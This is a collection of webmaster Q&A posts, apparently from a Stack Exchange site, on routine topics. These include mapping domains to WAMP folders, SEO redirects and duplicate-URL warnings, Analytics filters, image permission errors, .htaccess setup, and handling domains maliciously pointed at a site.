text: My PC has a configuration to work as a server. It has quad core processor with 8GB RAM. So I made it a server. Now i want to know, how can I link the domain names to various folders in my WAMP. At present, when I am calling my IP address e.g. 123.234.345.456, I get index file from **C:/wamp/www/**. But I want to forward e.g. **www.example.com** to folder **C:/wamp/www/example** and **test.example.com** to folder **C:/wamp/www/test** Does anyone have idea how to do this? And what should I do in my domain provider's controls, so that they can fetch data from my server, without changing URL.


title: Can I use a 302 redirect to serve up static content from an URL with escaped_fragment?

text: We would like to serve up SEO-friendly Ajax-driven content. We are following this documentation. Has anyone ever tried to write a 302 redirect into the _.htaccess_ file, that takes the `?_escaped_fragment=` string and send that to a static `page?`, for example `/snapshot/yourfilename/`. How will Google react to this? I've gone through the documentation and it's not very clear. The below quote is from Google's documentation this is what I find. I'm not sure if they are saying that you **can** redirect the `_escaped_fragment_` URL to a different static page, or if this is to redirect the hashtag URL to static content? Thoughts? ## From Google's site: Question: Can I use redirects to point the crawler at my static content? > Redirects are okay to use, as long as they eventually get you to a page > that's equivalent to what the user would see on the #! version of the page. > This may be more convenient for some webmasters than serving up the content > directly.

title: Error in Google Webmaster tools

text: Google Webmaster tools says I have many faults. I wonder how I might supposed to improve them in a way such as to make a `robot.txt` to the server? Where I decide where you should go, etc? .. You can see the picture here what I mean: ![](http://i.stack.imgur.com/fABsn.png) However, it must be said that I have made that about 2 times before so there have been many mistakes. But I have used woorank to help me a lot further to see what I was missing on the page. So, my question is simply: does `robot.txt` have anything to do with it, all the old mistakes? .. This is what my page NOT out more! ![](http://i.stack.imgur.com/DPX8g.png) Could it not also help a little of everything if I had a sitemap for my site? _Just tell if you do not understand what I mean.

title: Domain registrar that doesn't encourage domain 'speculation'

text: Dealing with domain 'speculators' has been getting me down recently. Then I noticed my current registrar, name.com, have some deal with a domain auction company to list "premium" domains on their website; it may seem petty, but I don't want to support this kind of venture in any way. Are there any good registrars out there who don't list 'aftermarket' domains? I don't need much in the way of features, but a nice clean interface is always nice. Cheers.


title: Google Analytics profile filters does not work

text: I have a website and I need to separate traffic to it into two profiles. I need to exclude data from curtain IP address from Profile A and include data from this IP to Profile B. I have created 2 profiles. Setup exclude filter by IP for profile A, setup Include filter for profile B. For some reason all data still goes to profile A. I use my own public IP address in filter definitions so I know for sure that I have visits for profile B. In order to test that data come to Profile A I track event via _trackEvent with unique name, like test123 and I see this event in Profile A. What I am doing wrong? **UPDATE** : If I change filter to Country - everething work. I could easely separate traffic from me Country to another profile. So my guess something is wrong with IP.


title: Multiple domain names

text: I have a client that want a website with a single domain name with many different extensions like :               somedomain.com     somedomain.org     somedomain.net     somedomain.mobi     somedomain.tv     ...      Just to be sure the saturate the name and that nobody "hijack" the name. The client is a Searcher in "Numeric content" and has a PHD in that field of expertise. Personnally I think it would be overkill to go that road since the website will only attract a limited amount of people which will be refered mostly through official press documents and business cards with the web URL on it. Since he is a scholar I was looking for some published articles about that matters. P.S. In the end if he is still convinced that his way is the right way I will do it, but since it comes from a public funded Grant I was looking to save him money (and the general population) so he can use the rest on more useful areas P.P.S. I am from Québec, the most taxed state in North America, that is why I have those concerns :P

title: Storing image order without a database

text: The classic question is whether to store images in a database or on the file system. In my case I feel it is probably best to store it on the file system. However the specific order of the albums and images is very important. Originally I thought that I could do this by displaying images in the order of their last modified date and then artificially change that value to modify the order. However that method is flawed as adding new images to an album will reorder all the images as the modified time is changed unwillingly. Can anyone give me advice on how I can keep track of the order without using a database? (Not 100% sure if this question belongs here or maybe on stackoverflow, but I'm taking my chances and if I'm wrong feel free to correct it.)

I really would appreciate some tip. Thanks! Note: I already posted this question in stackoverflow, but didnt get any answer, so I thought posting here may be more appropriate.

title: Does a Registrar forwarding your Domain to your hosting site url, violate Google AdSense TOS?

text: NameCheap offers to forward traffic to a url of your choosing, which is really handy if you are using a free web hosting service, and/or ever want to move to try another free host someday. However, I don't want to save $50 on hosting fees only to get BANNED from Google's adsense for violating it's URL Forwarding TOS. So aside from the technical aspects of whether or not Google's crawlers will actually forward to the forwarded domain or not, the big question is, can this be done or will you be banned?

text: On Awstats, one of the sections displays as it follows: > Successful hits on favicon.ico -> 49.9% Then, under 404s, i have the following: > Document Not Found (hits on favicon excluded) Therefore, if the 50.1% of errors on favicon are due to 404s, I wouldn't be able to see them. **I'm pretty sure, the errors on favicon are not 404s, as i have extensivly checked (I might be wrong though). If that assumption is correct, how come 50.1% are not successful hits? Is it because some browsers/tablets/phones don't support it?** Additionally, I store the favicon icon in a folder, but a favicon.ico empty file always appears on my root folder if deleted. That file was replaced with mine, so the error should also not be there.

title: How to deal with malicious domain redirections?

text: It is possible for anybody to buy a domain name containing negative terms and point it to someone's website in order to damage their reputation. For instance someone could buy the domain `child-pornography.com` and point it to the address `64.34.119.12` which is the address behind `stackoverflow.com` and people navigating to the domain in question would end up visualizing content from `StackExchange` which would be detrimental to `StackExchange`'s image. To illustrate this, I added the entry `64.34.119.12 child-pornography.com` to my `/etc/hosts` file and tested. Here is what I obtained: ![enter image description here](http://i.stack.imgur.com/Tn1nf.png) I personally found this user experience terrible as someone could think that Stack Exchange are in favor of child pornography and awaiting support from the community to create a Q&A site about it. I tested with other websites and experienced other behaviors that I would categorize as follows: **1 - Useful 404 page (happens with`stackoverflow.com`)**:   For me the worst way of handling this as the image of the targeted website is directly associated with the offending domain. The more useful the 404 page, the bigger the impression that the targeted website would be willing to help with child pornography. **2 - Redirection (happens with`microsoft.com`):**   For instance when accessing `child-pornography.com` you get redirected to `www.microsoft.com`. It isn't as bad as above as the offending domain name never appears alongside the targeted website's content, but still bad in my opinion as it gives the impression the targeted website bought the offending domain and redirected it to their website to get more traffic. **3 - Server error (happens with`lemonde.fr`):**   You get an error from the webserver which page doesn't contain any content that can be associated with the targeted website (e.g. default Apache 404 page, completely blank page). I believe that is good as the identify of the targeted website isn't revealed. Above are the various behaviors I experienced, but I also thought about a fourth way of dealing with this which is described below. **4 - Disclaimer page (haven't found any website implementing that technique):**   Display a message such as : > "You ended here because someone bought and linked the `child- > pornography.com` domain to our website. We do not own this domain and do not > associate ourselves with it. This request has been logged by our servers and > we will raise this issue with the competent authorities to have this domain > taken down. If you want to access our website, please click here." The good thing about this method is that it can be implemented at application layer (good if you don't have control over web server which happens with some hosting solutions), allows you to protect yourself from any liability, and offer the visitor to be redirected to your own website. **Which of the above options would you implement to deal with malicious domain linking (IMO only options 3 and 4 are worth considering) ?**

title: There must be a science to single-page product sales sites. What is it?

text: The sites I speak of are not landing pages, not really microsites in the sense that I've always had to deal with them. They are sites like the following:   * Credit Contraction eBook   * Homemade Strength eBook   * Earn1k ... plan   * The Truth About Abs I have seen them for all manner of things, these are just the ones I could remember off the top of my head. They all seem to follow an identical method of construction, marketing, call-to-action, content organization...There must be a science to building these sites. What are they called? What is this science? Tim Ferris wrote an article a while ago about The Truth About Abs's creator Mike Geary, mostly covering how he came to the idea and the things he does to execute upon it as a business. The article didn't really cover the science of the page though, the key to his success, except at the very end where there are a couple paragraphs that just graze the topic.


title: ads for a gaming network

text: I am very new to web development and in some weeks I start my own small gaming network. Now I am doing everything alone and I struggle to find good resources about advertising networks. And I don't want to have ugly ads on my website. I searched for gaming advertisements and I found ad4games and gaming online advertising. At the moment I don't even know if I can pay the server costs. This is really bugging me. I contacted several ad networks, but all of them don't want to do a contract with me before my site launches. -> I have to wait and gather information about my visitors. Now I was curious which ad network other sites are using, and I saw that stackoverflow is using adzerk as an adserver. If I am correct I can get ads from different adnetworks and put them on my adserver. But overall the whole topic is like a huge blackbox for me. Could you recommend me some resources or give me some insights? Edit: I am currently listening to http://blog.stackoverflow.com/2009/08/podcast-64/ and its really interesting.

When I have added images, they return in a 403 error. The images are there but they refuse to show up. I have tried it with multiple permissions numbers but every time I get the same result. After further inquiry, I discovered that some images were working. Here are a couple of examples: Working, 0644 Permissions Not Working, 0644 Permissions If you go to the directory that contains both of those images you will also see that no images show up in the directory. I do not know what's going on. In other parts of the website, images with full 777 permissions are resulting in 403 errors. I have talked with the hosting service but they have just directed me to change permissions, which I have done.


title: Deploying websites with a 'Maintenance Mode' switch

text: I'm working on a site where I need to add a 'maintenance mode' and became curious to see what methods people use to deploy their sites to live, when there is a required downtime. Some ideas that come to my mind are symlinked folder switching, .htaccess redirects or even some sort of switch in the application but what do you use and why?

title: Best tools to build a ecommerce website

text: First I would like to apologize if this is not the forum to be asking this question. If you can point me to the right forum, I will post my question there. I am relatively new to web development. I want to build an e commerce website for a small business. I want to know what tools or technology should I use to build the site? I googled it and it seems that there are just too many of them out there. I have some knowledge of Java, javascript, servlet, jquery, and jsp. I would like to use the existing skill set I have to build the website but if there are other better alternatives, then I would consider that approach as well. I would like to have some animation(slide show) in my index page, shopping cart, and lots of pictures. Please help. Thank you.


title: HTML5 `html` `xmlns` attribute

text: Is `xmlns` appropriate in HTML5?               <!DOCTYPE html>     <html xmlns="http://www.w3.org/1999/xhtml">     ...     </html>      Also, which is preferred, `<!DOCTYPE html>` or `<!doctype html>`?


title: CSS spaces, top element or bottom element?

text: Whenever I format a website according to a PSD file,   I always wonder if the space should be from the top element or the bottom one.   So if I have 2 elements that are seperated by some space, I normally choose   the top one, but I can't find a real reason not to choose the one on the bottom. Any ideas?


title: Not so popular web : Change Domain and Web Name, SEO implications. Duplicate?

text: I have owned a site for two years, but never become popular. Today Google income from "clicks" is almost nothing. So I started to redesign the site: more features, a cooler design, and more data. I also bought a better domain name for this site. What you you would suggest   1. Redirect from old domain? (like 30 unique visitors per day from Google search :/ )   2. Start from scratch and forget about the "old" one.  I don't want to be "detected" as duplicate content. But it's possible that my actual site is penalized. I will post my site is allowed in a future edit :)

title: Use rel="nofollow" on internal ads?

text: I know you're supposed to use rel="nofollow" on outgoing ads, to keep from passing link juice, but what about internal ads? We have a number of links with pictures that I consider as ads to other parts of our site (usually to a sub-domain). Should I rel="nofollow" them? With google's most recent algorithm change this month, I feel like some things have changed.

title: How to avoid duplicate META and TITLE tag warnings in Google Webmaster Tools for the same URL in lowercase and CamelCase?

text: looking through Google's Webmaster Tools today I saw a long list of supposedly duplicate `<meta name=description>` / `<title>` tag content with all of them showing a duplicate count of 2. A lot of them show as the conflicting URLs something like the following:               /deutschland/Bayern/Camping-Allweglehen-19062     /deutschland/bayern/camping-allweglehen-19062      The only difference is the case of the first letters of some of the words. I have to admit I was surprised to see that Google treats these as separate URLs. But now that I know it does - what I can I do to clarify that this is the same website? I don't want to use `301` redirects as it would mean overhead for the user and a tiny bit for the server. I feel like I'll have to make sure all URLs that we put on our pages are lowercase so there won't be any reason for any crawler to crawl the same website twice. Is there any other trick / thing I can do to get rid of these duplicate warnings?

title: Google anonymous sitemap submission

text: By searching for "How to submit a sitemap to Google" you can find dozens of links, and all of'em truly explain the _how to_ very well. But all of'em start with this first step:   1. **Login to your Google Webmaster Tools**   2. ... My problem is that, we are creating a hosted-CMS solution (something similar to wordpress.com), and we let people assign their domains to their sites. However, we don't want to ask them to create Google Webmaster Tools account, and follow a mid-technical path, to get their sites indexed. Rather, we want to anonymously submit their Sitemaps (like http://domain/sitemap, where domain is a variable) to Google. We found this link, at the end of which, it's explained that you can submit your sitemap to this URL: www.google.com/webmasters/tools/ping?sitemap=sitemap_url However, I'm not sure if it's really anonymous or not. Is it a good idea at all or not? Do we have other options to notify Google to index our sites?

title: How to enable use of .htaccess in Apache on Ubuntu?

text: I'm trying to enable use of _htaccess_ file in Ubuntu 14.04 (Apache 2.4.7). I know that this question has many possible duplicates, but none of them helped me yet. .htaccess: `ErrorDocument 404 /404.html` 000-default.conf               <VirtualHost *:80>     AccessFileName .htaccess          ServerAdmin webmaster@localhost     DocumentRoot /var/www          ErrorLog ${APACHE_LOG_DIR}/error.log     CustomLog ${APACHE_LOG_DIR}/access.log combined          <Directory /var/www/>       Options Indexes FollowSymLinks Includes       AllowOverride All       Order allow,deny       Allow from all     </Directory>     </VirtualHost>      What else is needed?


title: How to get google and bing to index original image, not thumbnail?

text: I've read this post Make google index the actual image not the thumbnail but my case is a little different. I have over a thousand images, in many different directories, with many different names, and in most cases the ones with full resolution are the ones indexed by google (bing is even better), but in some cases the thumbnails are the ones indexed, unfortunately. **I need to have 2 separate images** because we add a watermark to all our full-sized images since in the past i caught competitors stealing and using our images of our custom products, therefore, scaling down an image with a watermark would not look good. The images, when clicked on, lead to a page that displays the full image, with product description and not only the image itself. 90% of these pages are indexed by google and bing, and about 60% of the images (but still going up every day). Thumbnails are named asd-asd-asd_small.jpg (example) while full resolution pictures are named asd-asd-asd.jpg. **I useA1 Sitemap Generator for all my sitemaps, including images, but since i'm talking about over a thousand images, is there a practical way, easy to implement that would give priority to the full size images on indexing?**
